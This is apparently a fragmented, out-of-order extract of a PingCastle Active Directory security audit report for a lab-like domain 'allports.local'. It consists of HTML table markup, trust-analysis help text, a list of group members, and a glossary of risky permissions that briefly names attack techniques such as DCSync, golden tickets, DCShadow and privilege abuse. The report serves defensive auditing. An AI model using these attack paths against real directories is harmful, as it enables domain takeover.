_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#trustedCertificatesPanel" aria-expanded="false" aria-controls="trustedCertificatesPanel">


_raw: This detects trusted certificates which can be used in man in the middle attacks, or which can issue smart card logon certificates


_raw: <div class="card-body collapse show" id="panelsectionPKI">


_raw: Reachable domain	Discovered using	Netbios	Creation date


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Reachable domains list">


_raw: These are the domains that PingCastle was able to detect but which is not releated to direct trusts. It may be children of a forest or bastions.


_raw:
Please note that this check is being performed only at ONE direction of a BI-directional trust
Make sure you also run PingCastle in the Trust Partner domain for complete information
">	Creation 	Is Active ? 	Algorithm


_raw: A YES means that TGTs are being sent over the trust<br>


_raw:
Make sure you also run PingCastle in the Trust Partner domain for complete information
">	TGT Delegation <i class="info-mark d-print-none has-tooltip" data-bs-placement="bottom" data1-bs-toggle="tooltip" data-bs-template="

"  data-bs-html="true"  title="" data-bs-original-title="
Indicates if the kerberos delegation works accross forest trusts


_raw: Please note that this check is being performed only at ONE direction of a BI-directional trust<br>


_raw: A NO means that forged kerberos ticket with a security identifier from this domain will be accepted.<br>


_raw:
Outbound: This domain or forest has access to resources of the other domain or forest. The other domain or forest does not have access to the resources of this domain or forest.
">	SID Filtering active <i class="info-mark d-print-none has-tooltip" data-bs-placement="bottom" data1-bs-toggle="tooltip" data-bs-template="

"  data-bs-html="true"  title="" data-bs-original-title="
Indicates if the protection for the trust has been enabled or disabled.


_raw: Inbound: The other domain or forest has access to the resources of this domain or forest. This domain or forest does not have access to resources that belong to the other domain or forest.


_raw:
Trust Partner	Type	Attribut	Direction <i class="info-mark d-print-none has-tooltip" data-bs-placement="bottom" data1-bs-toggle="tooltip" data-bs-template="

"  data-bs-html="true"  title="" data-bs-original-title="
Bidirectional: Each domain or forest has access to the resources of the other domain or forest.


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Trusts list">


_raw: This part displays the direct links that this domain has with other domains.


_raw: This section focuses on the relations that this domain has with other domains


_raw: <div class="card-body collapse show" id="panelsectionTrustsdetails">


_raw: <!-- Section Control Paths Analysis end -->


_raw: "RestrictedToGpo" : "The permission described above is restricted to GPO."}


_raw: "RestrictedToMsaOrGmsa" : "The permission described above is restricted to (Group) Managed Service Accounts.",


_raw: "RestrictedToOU" : "The permission described above is restricted to OU.",


_raw: "RestrictedToGroup" : "The permission described above is restricted to Group.",


_raw: "RestrictedToComputer" : "The permission described above is restricted to Computers.",


_raw: "RestrictedToUser" : "The permission described above is restricted to Users.",


_raw: "READ_PROP_MS_LAPS_ENCRYPTED_PASSWORD" : "This right grant the ability to read the local administrator password defined by LAPS (ms encrypted).",


_raw: "READ_PROP_MS_LAPS_PASSWORD" : "This right grant the ability to read the local administrator password defined by LAPS (ms).",


_raw: "READ_PROP_MS_MCS_ADMPWD" : "This right grant the ability to read the local administrator password defined by LAPS (legacy).",


_raw: "msDS_Allowed_To_Delegate_To_With_Protocol_Transition" : "As part of delegation, the user can act on behalf other identities.",


_raw: "msDS_Allowed_To_Delegate_To" : "As part of delegation, the user can act on behalf other identities.",


_raw: "msDS_Allowed_To_Act_On_Behalf_Of_Other_Identity" : "As part of delegation, the user can act on behalf other identities.",


_raw: "ShutdownScript" : "This is the script that a computer run each time it is shuting down.",


_raw: "Startup_Script" : "This is the script that a computer run each time it is booting.",


_raw: "Logoff_Script" : "This is the logoff script executed at each session.",


_raw: "Logon_Script" : "This is the login script executed at each session.",


_raw: "SeTcbPrivilege" : "Has the privilege to act as part of the operating system, aka SYSTEM. This represents more privilege than being part of local admins.",


_raw: "SeTakeOwnershipPrivilege" : "Has the privilege to take ownership of any secureable object in the system including a service registry key. Then to become local admin via a change in the configuration of services",


_raw: "SeDebugPrivilege" : "Has debug access on the system, allowing to access critical part of the operating system and then becoming local admin",


_raw: "SeCreateTokenPrivilege" : "Has the privilege to create ta token, then becoming local admin by abusing this privilege",


_raw: "SeBackupPrivilege" : "Has the privilege to backup data, then becoming local admin by getting secrets",


_raw: "SIDHistory" : "The attribute SIDHistory is defined, allowing an object to act as another object. It is used in AD migration and can be set with the DCShadow attack.",


_raw: "FS_RIGHT_APPENDDATA_ADDSUBDIR" : "This right grants the ability to add new directory to a directory. This is usefull especially for the file part of Group Policies",


_raw: "FS_RIGHT_WRITEDATA_ADDFILE" : "This right grants the ability to add new file to the directory. This is usefull especially for the file part of Group Policies",


_raw: "STAND_RIGHT_WRITE_OWNER" : "This right grants the ability to change the owner of the file, and as a consequence the security descriptor then the content of the file.",


_raw: "STAND_RIGHT_WRITE_DAC" : "This right grants the ability to change the security properties of the file, and as a consequence the content of the file.",


_raw: "FILE_OWNER" : "As owner of the file, permissions can be set at will which allows to read or modify its content",


_raw: "file_hierarchy" : "As part of a directory, the files security descriptors in the directory can be overwritten",


_raw: "GPLINK" : "This link indicates which Group Policies are applied",


_raw: "WRITE_PROP_ALL" : "This right grants the ability to change all properties of the object, including its password.",


_raw: "VAL_WRITE_ALL" : "This right grants the ability to change all properties of the object, including its password.",


_raw: "EXT_RIGHT_ALL" : "This right grants the ability to change all extended rights of the object, which includes resetting the password.",


_raw: "ADS_RIGHT_WRITE_OWNER" : "This right grants the ability to change the owner of the object, and as a consequence the security descriptor then all properties of the object.",


_raw: "ADS_RIGHT_WRITE_DAC" : "This right grants write access over the object.",


_raw: "GEN_RIGHT_WRITE" : "This right grants the ability to change all properties of the object, including its password.",


_raw: "GEN_RIGHT_ALL" : "This right grants full control over the object.",


_raw: "AD_OWNER" : "As owner of the underlying object, permissions can be set at will and then modify all attributes such as the login script for example.",


_raw: "scriptPath" : "By setting a script executed at each logon, commands will be run on behalf the user.",


_raw: "primary_group_member" : "As a group member, a user account can be granted access if its group has been granted access. For the primary group, the membership is stored on the attribute primaryGroupID",


_raw: "group_member" : "As a group member, a user account can be granted access if its group has been granted access.",


_raw: "container_hierarchy" : "As part of a tree, the parent of any objects can override its properties.",


_raw: "gPCFileSysPath" : "This link indicates where is located the file part of the group policy.",


_raw: "VAL_WRITE_SELF_MEMBERSHIP" : "This right gives the ability for an account to add itself at any time as member of a group. Typically granted when the property ManagedBy is assigned to an account.",


_raw: "WRITE_PROP_GPC_FILE_SYS_PATH" : "This right gives the ability to change the file part of a group policy, defining for example the login script applied to computers or users.",


_raw: "WRITE_PROP_GPLINK" : "Specify which GPO applies to the domain, OU or site and as consequence, can lower the security settings.",


_raw: "WRITE_PROP_MEMBER" : "This right gives the ability to define who is the member of this group",


_raw: "WRITE_PROPSET_MEMBERSHIP" : "This right gives the ability to define who is the member of this group",


_raw: "EXT_RIGHT_REPLICATION_GET_CHANGES_ALL" : "Use the DCSync attack to retrieve the hash of all passwords of the domain and especially the krbtgt one which allows the creation of golden tickets.",


_raw: "EXT_RIGHT_FORCE_CHANGE_PWD" : "Reset the password of the user without knowing the previous password. The previous password can be set back with setntlm or DCShadow",


CN=Users,DC=allports,DC=local

type: container

shortName: Users

DC=allports,DC=local

type: domaindns

shortName: allports

type: group

shortName: Domain Admins


shortName: Server Operators

CN=Builtin,DC=allports,DC=local

type: builtindomain

shortName: Builtin

shortName: Administrators

shortName: Enterprise Admins


shortName: Schema Admins

type: user

shortName: Administrator


shortName: Replicator


shortName: Read-only Domain Controllers


shortName: Print Operators


CN=krbtgt,CN=Users,DC=allports,DC=local

shortName: krbtgt


shortName: Key Admins


name: CN=Group Policy Creator Owners,CN=Users,DC=allports,DC=local

shortName: Group Policy Creator Owners

shortName: Account Operators


name: CN=Enterprise Read-only Domain Controllers,CN=Users,DC=allports,DC=local

shortName: Enterprise Read-only Domain Controllers


shortName: Enterprise Key Admins

CN=Users,DC=allports,DC=local

shortName: Users


shortName: Domain Admins


DC=allports,DC=local

shortName: allports

type: grouppolicycontainer

shortName: Default Domain Policy

shortName: Policies

type: gpodirectory

CN=System,DC=allports,DC=local

shortName: System

type: file

shortName: Configuration file defining local privileges


shortName: Domain Controllers

type: computer

shortName: Administrators

shortName: Enterprise Admins

type: organizationalunit

shortName: Default Domain Controllers Policy


shortName: Axel White

shortName: Logan Clark

shortName: Michael Rivera

shortName: Erick Smith

shortName: David Carter

shortName: Isabella Clark

shortName: Sarah Hill

shortName: Eleanor Moore

shortName: Penelope Brooks

shortName: Kevin Miller

shortName: Alessia Ross

shortName: John Taylor

shortName: Bailey Finn

shortName: Kai Hill

shortName: Josie Young

shortName: Ethan Fisher

shortName: Nora Nelson

shortName: Olivia Collins

shortName: James Porter

shortName: Linda Vega

shortName: Emily Carter

shortName: Administrator

shortName: Information Technology

shortName: Executive

shortName: Administration

OU=Departments,DC=allports,DC=local

shortName: Departments


shortName: DnsAdmins

CN=Users,DC=allports,DC=local

shortName: Users

shortName: Account Operators

shortName: Domain Admins


CN=Computers,DC=allports,DC=local

shortName: Computers

DC=allports,DC=local

shortName: allports


shortName: Cert Publishers


shortName: Cryptographic Operators

CN=Builtin,DC=allports,DC=local

shortName: Builtin

shortName: Administrators


shortName: Enterprise Admins


shortName: Backup Operators


shortName: AdminSDHolder

CN=System,DC=allports,DC=local

shortName: System


CN=Admin,CN=Users,DC=allports,DC=local

shortName: Admin

shortName: cloudbase-init

shortName: Administrator

shortName: Axel White

shortName: Logan Clark

shortName: Michael Rivera

shortName: Erick Smith

shortName: David Carter

shortName: Isabella Clark

shortName: Sarah Hill

shortName: Eleanor Moore

shortName: Penelope Brooks

shortName: Kevin Miller

shortName: Alessia Ross

shortName: John Taylor

shortName: Bailey Finn

shortName: Kai Hill

shortName: Josie Young

shortName: Ethan Fisher

shortName: Nora Nelson

shortName: Olivia Collins

shortName: James Porter

shortName: Linda Vega

shortName: Emily Carter

shortName: Information Technology

shortName: Executive


shortName: Administrator

CN=Users,DC=allports,DC=local

shortName: Users

shortName: Domain Admins

shortName: Administrators

shortName: Enterprise Admins


shortName: Account Operators

CN=Builtin,DC=allports,DC=local

shortName: Builtin


_raw: <button type="button" class="btn btn-primary" data-bs-dismiss="modal">Close</button>


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Deleted objects list">


_raw: <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>


_raw: <div class="modal-dialog modal-xl" role="dialog">


_raw: <div class="modal" id="mod-deleted-24" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <div class="modal" id="mod-dependancy-24" tabindex="-1" role="dialog" aria-hidden="true">


_raw: Name	Distance	Last authorized object	Path


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Indirect member list">


_raw: <div class="modal" id="mod-indirectmember-24" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <label class="custom-control-label"  for="switch-2-Userscontainer">Hierarchical view</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-2-Userscontainer">


_raw: <label class="custom-control-label"  for="switch-1-Userscontainer">Compact display</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-1-Userscontainer">


_raw: <div class="progress-bar" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100">


_raw: <div class="progress mt-2 d-none" id="progressUserscontainer">


_raw: <div class="modal-dialog modal-full-screen-dialog" role="dialog">


_raw: <div class="modal modal-full-screen" id="mcg-Userscontainer" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <button type="button" class="btn btn-primary" data-bs-dismiss="modal">Close</button>


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Deleted objects list">


_raw: <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>


_raw: <div class="modal-dialog modal-xl" role="dialog">


_raw: <div class="modal" id="mod-deleted-23" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <div class="modal" id="mod-dependancy-23" tabindex="-1" role="dialog" aria-hidden="true">


_raw: Name	Distance	Last authorized object	Path


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Indirect member list">


_raw: <div class="modal" id="mod-indirectmember-23" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <label class="custom-control-label"  for="switch-2-ServerOperators">Hierarchical view</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-2-ServerOperators">


_raw: <label class="custom-control-label"  for="switch-1-ServerOperators">Compact display</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-1-ServerOperators">


_raw: <div class="progress-bar" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100">


_raw: <div class="progress mt-2 d-none" id="progressServerOperators">


_raw: <div class="modal-dialog modal-full-screen-dialog" role="dialog">


_raw: <div class="modal modal-full-screen" id="mcg-ServerOperators" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <button type="button" class="btn btn-primary" data-bs-dismiss="modal">Close</button>


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Deleted objects list">


_raw: <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>


_raw: <div class="modal-dialog modal-xl" role="dialog">


_raw: <div class="modal" id="mod-deleted-22" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <div class="modal" id="mod-dependancy-22" tabindex="-1" role="dialog" aria-hidden="true">


_raw: Name	Distance	Last authorized object	Path


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Indirect member list">


_raw: <div class="modal" id="mod-indirectmember-22" tabindex="-1" role="dialog" aria-hidden="true">


_raw: Administrator	YES	YES	NO	NO	NO	NO	NO	CN=Administrator,CN=Users,DC=allports,DC=local


_raw: SamAccountName	Enabled	Active	Pwd never Expired	Locked	Smart Card required	Service account	Flag Cannot be delegated present	Distinguished name


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="User list">


_raw: <div class="modal" id="mod-member-22" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <label class="custom-control-label"  for="switch-2-SchemaAdministrators">Hierarchical view</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-2-SchemaAdministrators">


_raw: <label class="custom-control-label"  for="switch-1-SchemaAdministrators">Compact display</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-1-SchemaAdministrators">


_raw: <div class="progress-bar" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100">


_raw: <div class="progress mt-2 d-none" id="progressSchemaAdministrators">


_raw: <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>


_raw: <div class="modal-dialog modal-full-screen-dialog" role="dialog">


_raw: <div class="modal modal-full-screen" id="mcg-SchemaAdministrators" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <button type="button" class="btn btn-primary" data-bs-dismiss="modal">Close</button>


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Deleted objects list">


_raw: <div class="modal-dialog modal-xl" role="dialog">


_raw: <div class="modal" id="mod-deleted-21" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <div class="modal" id="mod-dependancy-21" tabindex="-1" role="dialog" aria-hidden="true">


_raw: Name	Distance	Last authorized object	Path


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Indirect member list">


_raw: <div class="modal" id="mod-indirectmember-21" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <label class="custom-control-label"  for="switch-2-Replicator">Hierarchical view</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-2-Replicator">


_raw: <label class="custom-control-label"  for="switch-1-Replicator">Compact display</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-1-Replicator">


_raw: <div class="progress-bar" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100">


_raw: <div class="progress mt-2 d-none" id="progressReplicator">


_raw: <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>


_raw: <div class="modal-dialog modal-full-screen-dialog" role="dialog">


_raw: <div class="modal modal-full-screen" id="mcg-Replicator" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <button type="button" class="btn btn-primary" data-bs-dismiss="modal">Close</button>


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Deleted objects list">


_raw: <div class="modal-dialog modal-xl" role="dialog">


_raw: <div class="modal" id="mod-deleted-20" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <div class="modal" id="mod-dependancy-20" tabindex="-1" role="dialog" aria-hidden="true">


_raw: Name	Distance	Last authorized object	Path


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Indirect member list">


_raw: <div class="modal" id="mod-indirectmember-20" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <label class="custom-control-label"  for="switch-2-ReadOnlyDomainControllers">Hierarchical view</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-2-ReadOnlyDomainControllers">


_raw: <label class="custom-control-label"  for="switch-1-ReadOnlyDomainControllers">Compact display</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-1-ReadOnlyDomainControllers">


_raw: <div class="progress-bar" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100">


_raw: <div class="progress mt-2 d-none" id="progressReadOnlyDomainControllers">


_raw: <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>


_raw: <div class="modal-dialog modal-full-screen-dialog" role="dialog">


_raw: <div class="modal modal-full-screen" id="mcg-ReadOnlyDomainControllers" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <button type="button" class="btn btn-primary" data-bs-dismiss="modal">Close</button>


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Deleted objects list">


_raw: <div class="modal-dialog modal-xl" role="dialog">


_raw: <div class="modal" id="mod-deleted-19" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <div class="modal" id="mod-dependancy-19" tabindex="-1" role="dialog" aria-hidden="true">


_raw: Name	Distance	Last authorized object	Path


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Indirect member list">


_raw: <div class="modal" id="mod-indirectmember-19" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <label class="custom-control-label"  for="switch-2-PrintOperators">Hierarchical view</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-2-PrintOperators">


_raw: <label class="custom-control-label"  for="switch-1-PrintOperators">Compact display</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-1-PrintOperators">


_raw: <div class="progress-bar" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100">


_raw: <div class="progress mt-2 d-none" id="progressPrintOperators">


_raw: <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>


_raw: <div class="modal-dialog modal-full-screen-dialog" role="dialog">


_raw: <div class="modal modal-full-screen" id="mcg-PrintOperators" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <button type="button" class="btn btn-primary" data-bs-dismiss="modal">Close</button>


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Deleted objects list">


_raw: <div class="modal-dialog modal-xl" role="dialog">


_raw: <div class="modal" id="mod-deleted-18" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <div class="modal" id="mod-dependancy-18" tabindex="-1" role="dialog" aria-hidden="true">


_raw: Name	Distance	Last authorized object	Path


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Indirect member list">


_raw: <div class="modal" id="mod-indirectmember-18" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <label class="custom-control-label"  for="switch-2-Krbtgtaccount">Hierarchical view</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-2-Krbtgtaccount">


_raw: <label class="custom-control-label"  for="switch-1-Krbtgtaccount">Compact display</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-1-Krbtgtaccount">


_raw: <div class="progress-bar" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100">


_raw: <div class="progress mt-2 d-none" id="progressKrbtgtaccount">


_raw: <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>


_raw: <div class="modal-dialog modal-full-screen-dialog" role="dialog">


_raw: <div class="modal modal-full-screen" id="mcg-Krbtgtaccount" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <button type="button" class="btn btn-primary" data-bs-dismiss="modal">Close</button>


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Deleted objects list">


_raw: <div class="modal-dialog modal-xl" role="dialog">


_raw: <div class="modal" id="mod-deleted-17" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <div class="modal" id="mod-dependancy-17" tabindex="-1" role="dialog" aria-hidden="true">


_raw: Name	Distance	Last authorized object	Path


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Indirect member list">


_raw: <div class="modal" id="mod-indirectmember-17" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <label class="custom-control-label"  for="switch-2-KeyAdministrators">Hierarchical view</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-2-KeyAdministrators">


_raw: <label class="custom-control-label"  for="switch-1-KeyAdministrators">Compact display</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-1-KeyAdministrators">


_raw: <div class="progress-bar" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100">


_raw: <div class="progress mt-2 d-none" id="progressKeyAdministrators">


_raw: <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>


_raw: <div class="modal-dialog modal-full-screen-dialog" role="dialog">


_raw: <div class="modal modal-full-screen" id="mcg-KeyAdministrators" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <button type="button" class="btn btn-primary" data-bs-dismiss="modal">Close</button>


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Deleted objects list">


_raw: <div class="modal-dialog modal-xl" role="dialog">


_raw: <div class="modal" id="mod-deleted-16" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <div class="modal" id="mod-dependancy-16" tabindex="-1" role="dialog" aria-hidden="true">


_raw: Name	Distance	Last authorized object	Path


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Indirect member list">


_raw: <div class="modal" id="mod-indirectmember-16" tabindex="-1" role="dialog" aria-hidden="true">


_raw: Administrator	YES	YES	NO	NO	NO	NO	NO	CN=Administrator,CN=Users,DC=allports,DC=local


_raw: SamAccountName	Enabled	Active	Pwd never Expired	Locked	Smart Card required	Service account	Flag Cannot be delegated present	Distinguished name


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="User list">


_raw: <div class="modal" id="mod-member-16" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <label class="custom-control-label"  for="switch-2-GroupPolicyCreatorOwners">Hierarchical view</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-2-GroupPolicyCreatorOwners">


_raw: <label class="custom-control-label"  for="switch-1-GroupPolicyCreatorOwners">Compact display</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-1-GroupPolicyCreatorOwners">


_raw: <div class="progress-bar" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100">


_raw: <div class="progress mt-2 d-none" id="progressGroupPolicyCreatorOwners">


_raw: <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>


_raw: <div class="modal-dialog modal-full-screen-dialog" role="dialog">


_raw: <div class="modal modal-full-screen" id="mcg-GroupPolicyCreatorOwners" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <button type="button" class="btn btn-primary" data-bs-dismiss="modal">Close</button>


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Deleted objects list">


_raw: <div class="modal-dialog modal-xl" role="dialog">


_raw: <div class="modal" id="mod-deleted-15" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <div class="modal" id="mod-dependancy-15" tabindex="-1" role="dialog" aria-hidden="true">


_raw: Name	Distance	Last authorized object	Path


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Indirect member list">


_raw: <div class="modal" id="mod-indirectmember-15" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <label class="custom-control-label"  for="switch-2-EnterpriseReadOnlyDomainControllers">Hierarchical view</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-2-EnterpriseReadOnlyDomainControllers">


_raw: <label class="custom-control-label"  for="switch-1-EnterpriseReadOnlyDomainControllers">Compact display</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-1-EnterpriseReadOnlyDomainControllers">


_raw: <div class="progress-bar" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100">


_raw: <div class="progress mt-2 d-none" id="progressEnterpriseReadOnlyDomainControllers">


_raw: <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>


_raw: <div class="modal-dialog modal-full-screen-dialog" role="dialog">


_raw: <div class="modal modal-full-screen" id="mcg-EnterpriseReadOnlyDomainControllers" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <button type="button" class="btn btn-primary" data-bs-dismiss="modal">Close</button>


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Deleted objects list">


_raw: <div class="modal-dialog modal-xl" role="dialog">


_raw: <div class="modal" id="mod-deleted-14" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <div class="modal" id="mod-dependancy-14" tabindex="-1" role="dialog" aria-hidden="true">


_raw: Name	Distance	Last authorized object	Path


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Indirect member list">


_raw: <div class="modal" id="mod-indirectmember-14" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <label class="custom-control-label"  for="switch-2-EnterpriseKeyAdministrators">Hierarchical view</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-2-EnterpriseKeyAdministrators">


_raw: <label class="custom-control-label"  for="switch-1-EnterpriseKeyAdministrators">Compact display</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-1-EnterpriseKeyAdministrators">


_raw: <div class="progress-bar" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100">


_raw: <div class="progress mt-2 d-none" id="progressEnterpriseKeyAdministrators">


_raw: <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>


_raw: <div class="modal-dialog modal-full-screen-dialog" role="dialog">


_raw: <div class="modal modal-full-screen" id="mcg-EnterpriseKeyAdministrators" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <button type="button" class="btn btn-primary" data-bs-dismiss="modal">Close</button>


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Deleted objects list">


_raw: <div class="modal-dialog modal-xl" role="dialog">


_raw: <div class="modal" id="mod-deleted-13" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <div class="modal" id="mod-dependancy-13" tabindex="-1" role="dialog" aria-hidden="true">


_raw: Name	Distance	Last authorized object	Path


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Indirect member list">


_raw: <div class="modal" id="mod-indirectmember-13" tabindex="-1" role="dialog" aria-hidden="true">


_raw: Administrator	YES	YES	NO	NO	NO	NO	NO	CN=Administrator,CN=Users,DC=allports,DC=local


_raw: SamAccountName	Enabled	Active	Pwd never Expired	Locked	Smart Card required	Service account	Flag Cannot be delegated present	Distinguished name


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="User list">


_raw: <div class="modal" id="mod-member-13" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <label class="custom-control-label"  for="switch-2-EnterpriseAdministrators">Hierarchical view</label>


